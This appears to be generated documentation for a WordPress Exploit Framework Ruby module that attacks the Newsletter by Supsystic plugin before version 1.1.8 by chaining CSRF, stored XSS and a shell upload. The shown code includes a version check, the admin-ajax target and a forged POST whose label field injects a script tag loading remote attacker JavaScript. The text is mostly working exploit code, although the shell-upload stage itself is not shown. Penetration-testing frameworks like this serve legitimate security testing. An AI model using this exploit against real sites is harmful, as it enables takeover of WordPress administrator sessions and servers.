class Wpxf::Exploit::NewsletterBySupsysticCsrfStoredXssShellUpload

Public Class Methods

new() click to toggle source
# File lib/wpxf/modules/exploit/xss/stored/newsletter_by_supsystic_csrf_stored_xss_shell_upload.rb, line 6
def initialize
  super

  update_info(
    name: 'Newsletter by Supsystic < 1.1.8 CSRF Stored XSS Shell Upload',
    author: [
      'King Coder', # Disclosure
      'rastating'   # WPXF module
    ],
    references: [
      ['WPVDB', '8832'],
      ['URL', 'https://www.vulnerability-lab.com/get_content.php?id=2070']
    ],
    date: 'May 23 2017'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/xss/stored/newsletter_by_supsystic_csrf_stored_xss_shell_upload.rb, line 23
def check
  check_plugin_version_from_readme('newsletter-by-supsystic', '1.1.8')
end
initial_script() click to toggle source
# File lib/wpxf/modules/exploit/xss/stored/newsletter_by_supsystic_csrf_stored_xss_shell_upload.rb, line 31
def initial_script
  create_basic_post_script(
    vulnerable_url,
    'action'  => 'create',
    'label'   => "#{Utility::Text.rand_alpha(10)}<script src=\\\"#{xss_url}\\\"><\\/script>",
    'slid[]'  => '1',
    'oid'     => '1',
    'mod'     => 'newsletters',
    'pl'      => 'nbs',
    'reqType' => 'ajax'
  )
end
vulnerable_url() click to toggle source
# File lib/wpxf/modules/exploit/xss/stored/newsletter_by_supsystic_csrf_stored_xss_shell_upload.rb, line 27
def vulnerable_url
  wordpress_url_admin_ajax
end